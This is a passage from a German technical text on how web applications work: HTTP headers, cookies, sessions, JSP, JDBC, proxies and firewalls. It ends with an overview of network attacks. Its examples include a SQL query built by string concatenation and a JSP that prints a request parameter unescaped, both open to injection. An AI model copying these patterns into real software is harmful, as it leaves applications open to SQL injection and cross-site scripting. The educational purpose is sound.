29 Eine typische Web-Anwendung 29 Die meisten Web-Server unterstützen außerdem Autorisierungen (geschützte Bereiche), Plugins und SSL GET und POST Ein Request beginnt mit einem der Schlüsselworte GET oder POST 16. GET ist die kompakte Anfrage, die ohne Rumpf (Body) auskommt. Sind Parameter zu übertragen 17, werden diese, durch? und & getrennt, Teil der URL. Die Länge einer GET-Anfrage ist begrenzt, wobei die Begrenzung in der Literatur nicht einheitlich (512 Byte bis 2 KByte) angegeben wird. Im Gegensatz dazu überträgt die POST-Anfrage Parameter im Body der Anfrage, wodurch keine Längenbegrenzung auftritt und die Parameter nicht Teil von URL, Historie, Bookmarks oder Cache werden. Als Teil der URL sind GET-Parameter u. a. im Adressfeld des Browsers sichtbar, werden als Referer (Teil der HTTP Header) beim Laden von Bildern oder anderen Ressourcen übertragen und können so von Unbefugten leicht gelesen werden. Deshalb eignet sich die GET-Methode nicht zur Übertragung von sensiblen Daten (z. B. aus einer HTML-Form) HTTP Header In der Praxis ist die Logik eines Web-Servers natürlich sehr viel komplexer. Eine Ursache dafür ist die wachsende Anzahl möglicher Headereinträge. In den HTTP-Versionen 1.1, 1.0 und 0.9 werden zum Teil andere Einträge verwendet. HTTP Header werden aktuell in [10] beschrieben 18, wobei zu MIME und URL auf [4] bzw. [9] verwiesen wird. Grundsätzlich wird zwischen General-, Request- bzw. Response- und Entity-Header- Einträgen unterschieden. Unbekannte Header werden durch den Server nicht verarbeitet. Groß-/Kleinschreibung spielt bei den Einträgen keine Rolle. General Header Fields gelten für Request und Response und beziehen sich nicht auf den übertragenen Inhalt, sondern auf die Verbindung selbst. Date enthält den Zeitstempel der Übertragung. Aus historischen Gründen sind hier drei Formate zulässig, wobei das durch RFC1123 definierte Format wegen seiner festen Länge vorzuziehen ist. Beispiel: Sat, 01 Oct :49:37 GMT Via enthält Informationen zu Routern, über die die Verbindung gegangen ist. Dieses Feld kann kritisch sein, da u. U. Informationen (Namen) von internen Maschinen enthalten sind, die im Internet nicht bekannt sein sollen. Ein Proxy sollte sie entfernen. Connection: close keep-alive Um Ressourcen zu einer HTML-Seite schneller nachladen zu können, versucht HTTP (seit Version 1.1 standardmäßig) die bestehende Verbindung weiter zu verwenden. Erst wenn der Socket (einige Sekunden lang) nicht mehr verwendet wird, schließt der Server ihn. Connection: close schießt dagegen die Verbindung sofort. 16 Definiert sind OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT 17 Bei Formularen in HTML ist das immer der Fall. 18 [10] enthält in Kapitel 15 außerdem einige interessante Hinweise zum Thema Sicherheit.

30 Eine typische Web-Anwendung 30 Pragma: no-cache Pragmas stammen noch aus HTTP Verson 1.0. Weitere Pragmas sind nicht (mehr) definiert. Die Einstellung hat die gleiche Bedeutung wie Cache-Control: no-cache im Request-Header, welche im Response aber nicht definiert ist. Cache-Control: no-cache, no-store, private Für Response und Request sind hier teilweise unterschiedliche Werte zulässig. So können auch public, max-age, min-fresh, no-transform, u.a. angegeben werden. Die oben genannten Werte schalten das Caching aus. An Cache-Control wird auch das Problem unterschiedlicher Versionen deutlich. In HTTP 0.9 war die einzige Möglichkeit ein Caching zu verhindern die, den Expires-Header in die Vergangenheit zu datieren. Mit HTTP 1.0 wurde der Pragma-Eintrag zur Regel. Inzwischen ist dieser durch Cache-Control: no-cache ersetzt, was eine noch genauere Steuerung erlaubt. Vorausgesetzt, die beteiligten Systeme unterstützen die Funktion und verhalten sich korrekt. Um Caching sicher zu unterdrücken, sollten alle folgenden Header angegeben werden: Expires: Mon, 01 Jan :00:00 GMT Pragma: no-cache Cache-Control: no-cache, no-store, private Request Header Fields beziehen sich, wie der Name schon sagt, auf die Anfrage. In diesen Feldern sendet der Client Hinweise über sich selbst bzw. die Anfrage. Accept Die bevorzugten MIME-Types des Clients. Accept-Charset Der bevorzugte Zeichensatz des Clients. Accept-Encoding Kodierungen, die der Client verarbeiten kann. Accept-Language Die Sprache, die der Client bevorzugt anzeigt. Host Der Name des Hosts, an den der Request gesendet wird. User-Agent Bezeichnung des Browsers (Client), der den Request sendet. Referer Die URL der Seite, von der der Link kommt. Dieses Feld kann kritisch sein, da zum Beispiel die URL eines GET-Requests sensible Parameter enthalten oder einfach zu einer Seite gehören kann, die im Internet nicht bekannt sein soll. Beim Aufruf einer unverschlüsselten Seite (HTTP), sollte der Client keinen Referer übertragen, wenn dieser eine verschlüsselte Seite (HTTPS) referenziert. Proxy-Authorization Authorization Autorisierung zur auth-method BASIC für den Zugang zu geschützten Webseiten (in BASE64). Beispiel: Authorization: Basic VG9yVGVzOnR0dHR0dA== HTTP enthält keine Mechanismen um einen Benutzer zu authentifizieren.

31 Eine typische Web-Anwendung 31 In gleicher Weise übergibt auch der Response Header Informationen. Location gibt zusammen mit dem Returncode 302 Moved Temporarily die (neue) URL der Ressource an. Beispiel: Location: Proxy-Authenticate beschreibt mit dem Returncode 407 Proxy Authentication Required das Authentication Schema. Die genaue Spezifikation ist in [10] zu lesen. WWW-Authenticate Beschreibt mit dem Returncode 401 Unauthorized das Authentication Schema. Die genaue Spezifikation ist in [10] zu lesen. Beispiel: WWW-Authenticate: Basic realm="localhost:443" Server Der Name der Software, die den Request bearbeitet hat. Auch dieses Feld kann kritisch sein, da es einem Angreifer Informationen über den Server gibt. Zuletzt sind im Entity Header Informationen über die eigentlichen Nutzdaten enthalten. Dazu gehören u. a. Content-Encoding, Content-Language und Content-Location. Content-Type Damit der Client eine Ressource korrekt verarbeiten (anzeigen) kann, sollte der Server dem Client mitteilen, was er schickt 19. Der Type wird als MIME-Type in der Form Medientyp/Subtyp beschrieben. Medientypen sind zum Beispiel text, image, audio oder video. Subtypes für text sind html und plain, solche für image jpeg oder gif. Content-Length Länge des Contents in Bytes (ohne den Header). Expires Teilt einem Cache mit, wann die Seite als veraltet gilt und neu geladen werden muss. Refresh Gibt an, nach wieviel Sekunden die Seite erneut geladen wird. Dieser Header findet sich nicht in der Spezifikation [10]. 19 Andernfalls wird der Client versuchen, anhand von Dateiendung oder Inhalt den Typ zu erraten. Die Methode HEAD (statt GET oder POST) könnte hier verwendet werden, um den Typ der Ressource zu erfahren, ohne diese zu laden.

32 Eine typische Web-Anwendung 32 Abb. 9: Ausschnitt eines HTTP-Requests mit einem Teil des zugehörigen Responses META-Tags Zum Abschluss soll noch eine weitere Möglichkeit aus HTML erwähnt werden, den Browser zu bestimmten Aktionen zu veranlassen. Meta-Tags werden innerhalb des <head> in einer HTML-Seite notiert und können statt eines Headers verwendet werden. Sie enthalten Anweisungen für den Browser. Der HTML-Standard macht zu Meta-Tags keine inhaltlichen Vorgaben. Die vorgestellten Tags werden durch die oben beschriebenen Header erklärt. Proxies interpretieren eine Seite in der Regel nicht und berücksichtigen META-Tags (z. B. no-cache) aus diesem Grund oft nicht. Beispiele: <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="content-language" content="de"> <meta http-equiv="expires" content="sat, 01 Oct :00:00 GMT">

33 Eine typische Web-Anwendung 33 <meta http-equiv="set-cookie" content="id=1;expires=mon, 03 Oct :00:00 GMT; path=/;"> <meta http-equiv="refresh" content="10"> <meta http-equiv="refresh" content="30;url=http://www.google.de/"> 4.3. Application-Server Ein Web-Server sendet eine HTML-Seite an den Client. Zur Entwicklung eines Shop-Systems z. B. ist ein Web-Server alleine jedoch nicht geeignet. HTML-Seiten eines Web-Servers enthalten statische Informationen. Eine dynamische Entwicklung der Inhalte ist nicht vorgesehen. Trotzdem erfordern viele Seiten dynamische Daten. Eine frühe Antwort waren CGI-Programme (*.exe, *.com) und Scriptsprachen wie Pearl oder PHP Servlets Im Java-Umfeld stellen inzwischen Servlets eine integrierte Lösung dar. Servlets sind keine eigenständigen Programme, sondern Teil einer Laufzeitumgebung. Somit haben sie gegenüber CGI den Vorteil nicht als teure eigenständige Prozesse laufen zu müssen. Zudem ist eine Kommunikation zwischen Servlets einfach möglich. Als Teil einer Laufzeitumgebung ähneln sie in der Architektur Applets. Ein Applet muss einen bestimmten Satz von Methoden zur Verfügung stellen (Schnittstelle), über die die Java-Laufzeitumgebung (JVM) des Browsers das Applet nach dem Laden initialisieren, starten und stoppen kann. Die JVM überwacht außerdem, dass das Applet keine unerlaubten Handlungen ausführt. So ist einem Applet z. B. das Lesen von Dateien der lokalen Festplatte normalerweise verboten 20. Auch Servlets haben eine solche definierte Schnittstelle. Dabei ist die Laufzeitumgebung keine JVM, sondern selbst wieder ein Java-Programm (Servlet-Container), das dem Servlet eine ganze Reihe von Dienstleistungen bietet. Über Konfigurationsdateien und Deployment-Descriptoren, werden Java-Klassen, die die Servlet-Schnittstelle implementieren, ein Kontext (server.xml) sowie logische Namen (web.xml) zugeordnet. Dabei ist auch die Verwendung von Wildcards möglich, so dass einem Servlet z. B. alle Dateinamen mit der Endung jsp (*.jsp) zugeordnet werden können. Neben einer allgemeinen Schnittstelle existiert auch eine Spezialisierung für HTTP. Diese erwartet in der Eingabe einen HTTP-Request und gibt einen HTTP-Response zurück. Der Umgang mit Headern wird dabei durch spezielle Methoden vereinfacht. Nachdem das Servlet einen Content-Type festgelegt hat, können beliebige Daten in den Datenstrom geschrieben werden. Servlets unterscheiden zwischen Redirect und Forward. Während ein Servlet mit Forward auf eine eigene Ausgabe verzichtet und diese statt dessen von einem anderen Servlet (oder einer anderen Seite) erstellen lässt, weist Redirect den Browser an, ein anderes Ziel zu laden. Das Verhalten entspricht dabei dem weiter oben erläuterten HTTP-Rückgabewert 302 Moved Temporarily. Anders als bei Forward ändert sich dabei die im Browser angezeigte URL! Der Container ist Teil eines eigenen Servers, der als Application-Server bezeichnet wird. Moderne Application-Server stellen neben einem Container für Servlets häufig auch einen Container für Enterprise Java Beans (EJB) bereit. Anders als der Web-Server (und Applets) hat der Application-Server vollen Zugriff auf das Betriebssystem und das Filesystem. 20 Über Policy-Files können einem Applet erweiterte Rechte eingeräumt werden.

34 Eine typische Web-Anwendung 34 Zum Zusammenspiel muss der Web-Server die URL darauf untersuchen, ob ein Kontext (bzw. ein Name) angesprochen wird, für den der Application-Server verantwortlich ist. Über spezielle Schnittstellen des Web-Servers (Plugin) ist das möglich Cookies Mehrfach wurde erwähnt, dass HTTP zustandslos ist. Ein HTTP-Server hat somit keine Möglichkeit, Anfragen des gleichen Clients miteinander in Zusammenhang zu bringen. In vielen Situationen ist es jedoch wünschenswert, Informationen zu speichern. Ein Benutzer, der sich auf einer Seite angemeldet hat, möchte diese Anmeldung nicht beim nächsten Request wiederholen. Für ein Internetkaufhaus kann es interessant sein, zu erkennen, dass ein Kunde schon vorher mit der Site 21 verbunden war und sich für bestimmte Artikel interessierte. Mit dem ursprünglich von Netscape entwickelten Konzept der Cookies, fordert der Server einen Client auf, eine (kleine) Datenmenge (Cookie) zu speichern. Der Inhalt des Cookies spielt dabei für den Client keine Rolle. Der Client sendet diese Information (solange sie lebt ) als Teil eines jeden Requests an den Server zurück. Cookies sind inzwischen Teil von HTTP und bei allen Browsern implementiert. Der Header zum Setzen eines Cookies lautet: Set-Cookie 22 Das Cookie wird im Response-Header gesendet und beim Client gespeichert. Ein Cookie besteht aus Name, Information, Server (der es erzeugt und gesendet hat), Pfad und Gültigkeitsdatum (Max-Age) (Abb 10). Wird Max-Age (in Sekunden) nicht angegeben, ist die Lebensdauer des Cookies an die der Browser-Instanz gebunden. Ein Wert von 0 löscht das Cookie. Zusätzlich kann mit secure bestimmt werden, dass ein Cookie nur übertragen wird, wenn die Verbindung sicher (SSL) ist. Beispiel: Set-Cookie: JSESSIONID=552AA196630E9B87AA8F5AC081A62FBD; Path=/securita Der Header, in dem der Client Cookies an den Server sendet, heißt: Cookie Das Cookie wird in jedem Request übertragen, in dem Server und Pfad mit den gesetzten Werten übereinstimmen. In einem Request kann mehr als ein Cookie übertragen werden. Beispiel: Cookie: JSESSIONID=552AA196630E9B87AA8F5AC081A62FBD Cookies sind kleine Informationseinheiten, die vom Client weder interpretiert noch ausgeführt werden. Dennoch wurden Sie in der Vergangenheit teilweise als kritisch diskutiert. Auf jedem Fall kann eine Site Cookies dazu verwenden, um das Verhalten des Benutzers zu analysieren. Sites wie Amazon machen davon ausgiebig Gebrauch. Browser bieten daher die Möglichkeit, Cookies abzuschalten (bzw. den Benutzer vor dem Speichern zu informieren). Mitunter können ohne Cookies nicht alle Funktionen einer Website genutzt werden. 21 Site wird synonym für Webpräsenz bzw. Summe der Internetseiten eines Anbieters verwendet. 22 Eine neuere Spezifikation arbeitet mit einem Header Set-Cookie2.

35 Eine typische Web-Anwendung Web Bugs Abb. 10: Cookies mit ihren Werten im Firefox-Browser Eine neuere Entwicklung sind sogenannte Web Bugs. Gemeint sind kleine (1x1 Pixel) und häufig transparente Grafiken (in Webseiten und HTML-Mails), die in der Darstellung nicht auffallen. Web Bugs funktionieren, da der Browser beim Interpretieren einer HTML-Seite schweigend weitere Ressourcen von beliebigen Servern nachlädt. Da auch Bilder (wie jede andere Ressource) über HTTP geladen werden, sendet ein Web Bug die IP-Adresse, die URL der besuchten Webseite (Referer), die URL des Web Bug-GIFs, den Zeitpunkt, den Browsertyp sowie ggf. die Informationen eines zuvor gesetzten Cookies an einen Server. Innerhalb eines Werbenetzes, also von Werbungen auf unterschiedlichen Internetpräsenzen, können auf diese Weise zusammen mit Cookies genaue statistische Informationen über Benutzer gesammelt werden. Vergleichbar sind Web Bugs mit den Web Countern privater Internetseiten. Dort wird ein externer Link eingebunden, der bei jedem Aufruf eine andere Zahl (Bild) zurück gibt. In HTML-Mails wird in die URL des Web Bugs die Mailadresse eingefügt, da sie ja schon bekannt ist (z. B. img width='1' height='1' src="http://www.m0.net/m/ logopen02.asp?vid=3&catid= & =smiths%40tiac.net" alt=""). So lässt sich feststellen, ob und wann eine geöffnet wurde. Möglicherweise lässt sich so auch ein Cookie des Browsers mit einer bestimmten Mailadresse verknüpfen, so dass ein Besucher einem Server bekannt ist, wenn er dort später eine Seite aufruft. Bei der Ausnutzung von Cross-Site Scripting-Schwachstellen (vgl ) wird häufig ein ähnliches Verfahren verwendet, um die Session-ID des Opfers an den Server des Angreifers zu übertragen.

36 Eine typische Web-Anwendung Sessions Um den Verkehr im Netzwerk gering zu halten, sollen Cookies möglichst klein sein. Darüber hinaus ist es in den meisten Fällen nicht wünschenswert, viel Information auf dem Client zu speichern, wo sie durch Unbefugte gelesen und u. U. manipuliert werden kann. Somit lösen Cookies das Problem mit dem zustandslosen HTTP-Protokoll nur teilweise. Session-Objekte (oder Sessions) sind Datencontainer des Applikation-Servers (bzw. des Servlet-Containers), in denen der Server Zustandsdaten zu einer Verbindung speichern kann. Ein Server kann mehr als ein Session-Objekt verwalten, indem er jedes Session-Objekt mit einem eindeutigen Bezeichner (Session-ID) versieht. Gelingt es nun, diesen Bezeichner mit einem Client zu assoziieren, kann der Server jedem Client, zu dem er eine Session verwaltet, diese Session in folgenden Verbindungen eindeutig zuordnen und so auch auf die gespeicherten Zustandsdaten zurückgreifen. Die einfachste Form der Zuordnung der ID zu einem Client ist die Verwendung von Cookies. Erzeugt der Server zu einer neuen Verbindung eine Session, trägt er die ID als Cookie in den Response-Header ein. Es ist dann Aufgabe des Clients, diesen Bezeichner zu speichern und bei jeder folgenden Anfrage im Header zu übergeben. Empfängt der Server im Request ein Cookie mit einer Session-ID, versucht er der Verbindung eine Session zuzuordnen. Gelingt dies nicht, kann das daran liegen, dass die Session inzwischen gelöscht wurde. Für Session-Objekte, die über einen längeren Zeitraum nicht mehr verwendet werden, definiert der Server in der Regel ein Timeout. Beim Erreichen des Timeouts wird die Session gelöscht. Der Timeout ist sinnvoll, da ein Benutzer, statt eine Verbindung zu beenden (logout), das System abschalten oder verlassen kann. Möglicherweise versucht aber auch ein Angreifer Session-IDs zu erraten und so Zugang zu den Daten eines anderen Benutzers zu erlangen URL Rewriting und Hidden Values Cookies werden für die Benutzung vieler Seiten im Internet vorausgesetzt. Es gibt allerdings auch Techniken, die ohne Cookies arbeiten. Diese Techniken machen sich die Tatsache zu Nutze, dass eine URL Parameter transportieren kann. Sollen keine Cookies verwendet werden, muss der Entwickler beim URL Rewriting dafür Sorge tragen, dass die ID der Session (=Information des Cookies) Teil jeder URL wird, die in der HTML-Seite auf den eigenen Server verweist. Frameworks wie Struts nehmen dem Programmierer diese Aufgabe ab. <a href="/securita/pages/index.jsp;jsessionid=0f9493e1d ">home</a> <a href="/securita/pages/datenschutz.jsp;jsessionid=0f9493e1d ">datenschutz</a> <a href="/securita/pages/impressum.jsp;jsessionid=0f9493e1d ">impressum</a> Da beim URL-Rewriting die Session-ID Teil der URL wird, treffen die für die GET-Methode beschriebenen Nachteile zu. Eine andere Idee besteht darin, (zumindest) innerhalb von Formularen in HTML die Sitzungs-ID in einem versteckten Feld (hidden value) einzubringen und so zusammen mit den anderen Parametern der HTML-Form wieder zu übertragen.

37 Eine typische Web-Anwendung Java Server Pages (JSP) Ein Servlet schreibt die Ausgabe in einen Datenstrom. Für eine Ausgabe in Textform wird dazu in Java ein PrintWriter erzeugt. In der Praxis ist es umständlich, auf diese Weise eine ganze HTML-Seite mit dynamischen Inhalten zu erstellen (vgl. im Anhang 9.4), zumal Webdesigner in der Regel keine Programmierer sind. Java Server Pages haben zum Ziel, Programm (Daten) und Darstellung zu trennen. Nachdem ein Servlet die Anfrage bearbeitet und ggf. die (dynamischen) Daten ermittelt hat, übergibt 23 es die Daten an eine JSP und überträgt dieser (durch ein Forward) die Aufgabe der Darstellung. Ist eine solche Vorverarbeitung nicht notwenig, kann eine JSP durch den Browser auch direkt aufgerufen werden. Vom Aufbau ähnelt eine JSP einer HTML-Seite. Diese wird jedoch durch sogenannte Scriptlets ergänzt. Scriptlets werden zwischen speziellen Tags (im Beispiel <%=) notiert, die in HTML nicht verwendet werden. Zusätzlich zur ursprünglichen Syntax hat sich inzwischen eine XML-Syntax (im Beispiel jsp:expression) entwickelt. In einer JSP können auf diese Weise Java-Code und HTML gemischt werden. Als implizite Objekte kann auf request, response, session, application, page und out direkt zugegriffen werden. In einem weiteren Schritt wurden spezielle Tag-Libraries entwickelt, die Aufgaben wie Iterationen oder Fallunterscheidungen bearbeiten, ohne dass der Designer Java-Code verwenden muss. Beispiel (ohne Tag-Libraries): <html> <body> <jsp:usebean id="user" class="userdata" scope="session"/> Datum und Uhrzeit: <b> <jsp:expression> java.text.simpledateformat.getdatetimeinstance().format(new java.util.date()) </jsp:expression></b><br/> Path: <%= request.getservletpath() %><br/> Name: <%= request.getparameter("name") %><br/> User: <%= user.getusername() %><br/> </body> </html> Zur Laufzeit wird aus einer JSP ein Servlet (also ein Java-Programm) erzeugt. Dafür ist ein spezielles Servlet (JSP-Compiler) zuständig, dem alle Ressourcen zugeordnet werden, die auf jsp (*.jsp) enden. So wird beim Aufruf einer JSP nie deren Quelltext übertragen, sondern die Ausgabe, die das compilierte Servlet nach seinem Aufruf erzeugt. Eine reine Microsoft-Entwicklung sind Active Server Pages (ASP). ASP werden jedoch nicht mehr weiterentwickelt und sind eher mit Scriptsprachen wird Perl oder PHP (vgl. 4.3) zu vergleichen, die serverseitig Webseiten erzeugen. 23 Das Servlet wählt dazu einen Scope (Gültigkeitsbereich) aus page, request, session und application.

38 Eine typische Web-Anwendung Datenbank Datenbanken sind aus einer modernen Architektur nicht mehr wegzudenken und bilden die dritte Ebene der Three Tier Architecture. Wie schon für die Netzwerkprogrammierung stellt Java auch für (relationale) Datenbankzugriffe leistungsfähige Schnittstellen (JDBC) zur Verfügung, die von allen bekannten Datenbanken unterstützt werden. 24 Die eigentliche Anfrage geschieht dabei über SQL (Structured Query Language). Der Begriff Anfrage (Query) ist allerdings nur teilweise zutreffend. SQL zerfällt in die drei Bereiche DDL (Data Definition Language), DML (Data Manipulation Language) und DQL, die eigentliche Query Language. DDL beinhaltet Funktionen zum Erstellen und Löschen von Datenbanken und Tabellen. DML ist zuständig für die Manipulation von Datenbankinhalten (Einfügen, Ändern, Löschen). Das Herz von SQL (bzw. DQL) ist das SELECT-Statement. SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY] [DISTINCT DISTINCTROW ALL] select_expression,... [INTO {OUTFILE DUMPFILE} 'file_name' export_options] [FROM table_references [WHERE where_definition] [GROUP BY {unsigned_integer col_name formula} [ASC DESC],... [WITH ROLLUP]] [HAVING where_definition] [ORDER BY {unsigned_integer col_name formula} [ASC DESC],...] [LIMIT [offset,] row_count row_count OFFSET offset] [PROCEDURE procedure_name(argument_list)] [FOR UPDATE LOCK IN SHARE MODE]] Das Syntaxdiagramm von MySQL ist erheblich komplexer als das des SQL-Standards und zeigt eines der Probleme mit JDBC. JDBC leitet Befehle nur an den Datenbanktreiber weiter, der sie wiederum der Datenbank übergibt. Syntaktische Prüfungen finden daher immer erst auf der Datenbank statt! Prinzipiell gibt es drei Mechanismen, um mit JDBC zu arbeiten. Nachdem die Verbindung (Connection) zur Datenbank zustande gekommen ist, benötigt der Client noch ein Statement. Dabei wird zwischen einfachen Statements, Prepared Statements und CallableStatements unterschieden. Einfache Statements erhalten zum Aufruf der Datenbank eine Zeichenkette, die vom Aufrufer häufig durch Konkatenation zusammengesetzt wird. Beispiel: String cmd = "select id from vtr where vnr="+parameter.getvnr(); boolean hasresult = stmt.execute(cmd); Prepared Statements definieren Platzhalter in einer Anfrage die später gefüllt werden müssen. Dabei sind die Methoden zum Setzen der Variablen typsicher. Beispiel: stmt = conn.preparestatement("insert into vtr (id) values(?)"); 24 Die Schnittstelle entspricht Microsofts ODBC (Open Database Connectivity)-Schnittstelle.

39 Eine typische Web-Anwendung 39 stmt.setint(1, id); int r = stmt.executeupdate(); CallableStatements rufen Abfragen auf, die als stored procedures in der Datenbank gespeichert sind. Ähnlich wie bei Prepared Statements werden dabei Variablen in einer typsicheren Schnittstelle übergeben. Alle Statements liefern ein Ergebnis oder eine Ergebnismenge. JDBC stellt Methoden zur Verfügung um das Ergebnis (wenn gewünscht oder erforderlich) vollständig dynamisch zu verarbeiten. Die Schnittstelle liefert in Form von Metadaten alle Informationen zu Menge, Namen und Typ der Werte. Neben JDBC werden moderne Systeme entwickelt, die Objekte ohne den Umweg über Tabellen persistent machen können. Zu nennen sind hier neben EJB Hybernate und JDO. In der neuen Version EJB 3.0 sollen Stärken (und Erfahrungen) aus allen Systemen vereinigt werden Proxy Als Stellvertreter tritt ein Proxy statt des eigentlichen Servers in Erscheinung. Clients sehen nur den Proxy. Der Proxy selbst ist Client und Server. Auf den Ports (für die er konfiguriert wurde) nimmt er Verbindungen entgegen. Pakete durchlaufen den Protokollstack bis zur Applikationsschicht. In seiner Funktion als Client baut der Proxy anschließend selbst eine Verbindung zum eigentlichen Server auf. Dieser Server sieht nur den Proxy. Eine solche Konstellation hat häufig zur Folge, dass der Proxy (auf einem Socket) Requests (von verschiedenen Sockets) mehrerer Clients entgegen nimmt. Als Stellvertreter verwendet er in seiner Verbindung einen eigenen Socket. Antwortseiten wie [37], die den Socket des Clients anzeigen, stellen in Wahrheit die Adresse des Proxies (und seien Socket) dar. Abb. 11: Proxy und Reverse-Proxy

40 Eine typische Web-Anwendung 40 Proxys (Abb. 11) können in beiden Richtungen eingesetzt werden. Sie können das lokale Netz nach außen vertreten (alle Clients reden nur mit dem Proxy), aber auch für Verbindungen aus dem Internet den Server darstellen (Reverse-Proxy). Proxyadressen (und Autorisierung) sind Teil von Browsereinstellungen und HTTP-Header- Feldern, die dafür Sorge tragen, dass alle Anfragen (unabhängig vom Host in der URL) zunächst an den Proxy übermittelt werden, der sie dann (als wäre er der Client) verschickt. Viele Proxies übernehmen dabei zusätzlich die Funktion eines Caches. Ein Cache speichert Seiten, die er aus dem Netz geladen hat. Greift ein Client über den Proxy auf das Web zu, überprüft der Proxy zuerst, ob eine angeforderte Seite im Cache vorliegt. Ist das der Fall, und die Seite ist aktuell (Cache-Control, Expires), kann er die Seite ohne Zugriff auf das Internet liefern. Greifen mehrere Clients über einen Proxy auf das Web zu, kann das zu deutlichen Performancegewinnen führen. Internetprovider arbeiten immer mit großen Caching-Proxies (transparente Proxies). Bemerkenswert an einer solchen Konstellation ist auch, dass verschlüsselte Verbindungen eines Clients nur bis zum Proxy gelangen. Da der Proxy für den Client der Server ist, kann das SSL-Handshaking auch nur mit dem Proxy stattfinden. Man bezeichnet den Proxy in solchen Situationen als man-in-the-middle. Ein Angreifer kann statt des Servers alternativ den Proxy angeifen, da hier alle Informationen durchlaufen Firewall Eine Firewall arbeitet in der Regel wie ein Gateway auf Ebene 3 des ISO-OSI-Modells (vgl. Abb. 1). Dadurch können IP-Adressen und Portnummern in eine Filterregel einbezogen werden. Bessere Firewalls unterscheiden Input- und Output-Filter. Möglich ist dies durch eine Auswertung des Code-Bits (SYN, ACK) im TCP-Header. So kann eine Firewall entscheiden, HTTP auf Port 80 immer passieren zu lassen, während auf Port 25 ( ) nur Pakete das lokale Netz verlassen dürfen. Das Senden (oder Empfangen) von FTP-Paketen ist möglicherweise nur prädestinierten (bekannten) Maschinen erlaubt 25. Über die Qualität des Inhaltes kann eine solche Firewall kaum Aussagen machen und verschlüsselte Daten kann sie gar nicht lesen Application-Level-Firewall Eine Firewall, welche den Inhalt von HTTP-Requests und den durch Web-Server bzw. Application-Server erzeugten Response vor der Auslieferung überprüft, muss auf Schicht 7 des ISO-OSI-Modells arbeiten. Solche Systeme werden als Application-Level-Firewall (Web- Application Firewall, Application Gateway, WebShield) bezeichnet. 25 Die Tatsache, dass Port 80 in Firewalls fast immer freigeschaltet ist, hat unter anderem zur Entwicklung und Verbreitung des SOAP-Protokolls geführt. SOAP ist vereinfacht ausgedrückt ein RPC über HTTP. Durch die zunehmende Sensibilisierung in Security-Belangen werden die sogenannte demilitarisierten Zonen (DMZ) in Unternehmen immer stärker abgeriegelt, so dass CORBA-basierte Zugriffe aus dem Internet in die DMZ mitunter an der Firewall scheitern.

41 Verwundbarkeiten Verwundbarkeiten Nach den Ausführungen der vorausgegangenen Kapitel mag es geradezu selbstverständlich erscheinen, dass eine Web-Anwendung angreifbar ist. Tatsächlich werden fast täglich Sicherheitslücken in (oft etablierten) Systemen entdeckt. Vor der Beschreibung web-spezifischer Angriffe, gegen die im weiteren Verlauf Schutzmaßnahmen entwickelt werden, sollen einige Angriffe genannt werden, die nicht speziell an das HTTP-Protokoll gebunden sind, sondern andere Schwachstellen des Netzes ausnutzen. Auch ohne technische Details zu vertiefen, ist ein Verständnis der Angriffe mit den Grundlagen der beiden vorherigen Kapitel möglich Allgemeine Angriffe im Netzwerk Sniffing Das Ethernet ist von seiner Struktur ein Broadcast-Netz, d. h. alle Nachrichten werden immer an alle Rechner eines Teilnetzes (Segment) gesendet, wobei sie normalerweise nur der Zielrechner verarbeitet. Sniffer sind einfache (oft vorinstallierte) Werkzeuge, die einfach alle Nachrichten protokollieren, die über das Netzwerk verteilt werden. Dazu zählen auch Nachrichten die für andere Rechner bestimmt sind. Ziel ist es in der Regel, Passwörter im Datenstrom zu finden. Ein Angreifer kann auch versuchen, solche Werkzeuge auf einem Server zu starten und die erzeugten Logfiles zu einem späteren Zeitpunkt auswerten. Dienste wie Telnet, FTP und SMTP nutzen Klartextprotokolle und kennen keine Verschlüsselung. Ethernet-Topologie kommt im Internet nicht zur Anwendung Trojanische Pferde (Trojaner) Trojaner sind (veränderte) Programme eines Angreifers. In einer UNIX-Umgebung versteht man unter einem Trojaner in der Regel manipulierte Dienstprogramme wie Telnet oder die Shell. Gelingt es einem Angreifer diese auf einem Server zu platzieren, kann er zum Beispiel Logins protokollieren, eigene Hintertüren einrichten oder Logs manipulieren. Trojaner, die ein Client z. B. unwissentlich durch das Ausführen eines Mailanhangs installiert, könnten Virenscanner deaktivieren, auf der lokalen Festplatte nach Passwörtern suchen oder Tastenanschläge protokollieren (Keystroker). Diese Daten werden, wenn der Client wieder mit dem Internet verbunden ist, an den Angreifer gesendet IP-Spoofing IP-Spoofing bezeichnet den Austausch einer IP-Absender-Adresse im Paketrahmen. Ziel ist es in der Regel, die Filter einer Firewall zu umgehen und vorzutäuschen, dass ein Paket aus dem lokalen (sicheren) Netz kommt Mail-Spoofing SMTP (Simple Mail Transfer Protocol) ist ein Klartextprotokoll und sieht nicht vor, den Absender einer Mail zu verifizieren. So kann ein Angreifer durch Manipulation der

42 Verwundbarkeiten 42 Absenderadresse seine Spuren verwischen oder den Empfänger dazu veranlassen die Mail (und deren Inhalt) als vertrauenswürdig einzustufen und sie zu öffnen Manipulation des IP- und TCP-Headers, IP-Dienstprogramme Die IP-Protokollfamilie umfasst eine Vielzahl von Diensten auf vielen verschiedenen Ports. Unter Umständen sind neben HTTP auf einer Maschine andere Dienste verfügbar, die ein Angreifer für seine Zwecke nutzen kann. In der Literatur werden hier unter anderem die Manipulationen der Sequenznummer (TCP) oder das Ausnutzen von Zusatzfunktionen (um den Weg eines Paketes durch das Netzwerk zu beeinflussen) genannt RIP Modifizierte RIP-Pakete (Routing Information Protokoll) können Gateways veranlassen, Pakete anders (an einen Angreifer) zu vermitteln ARP-Spoofing Das ARP (Address Resolution Protocol) wird benutzt um IP-Adressen auf MAC-Adressen abzubilden. Ein Angreifer kann einen Computer durch gezieltes Verschicken falsche ARP-Pakete, dazu bringen eine IP-Adresse auf eine falsche MAC-Adresse abzubilden, so dass das Paket auf dem Computer des Angreifers landet. Gelingt es dem Angreifer sowohl den Sender als auch den Empfänger zu täuschen, kann er zum man-in-the-middle werden (vgl. DNS-Angriffe) DNS-Angriffe Das DNS nutzt eigene Protokolle, um seine Daten zu synchronisieren. Aufgabe des DNS ist es, einem Domänennamen eine Adresse zuzuordnen (oder umgekehrt). Wenn es 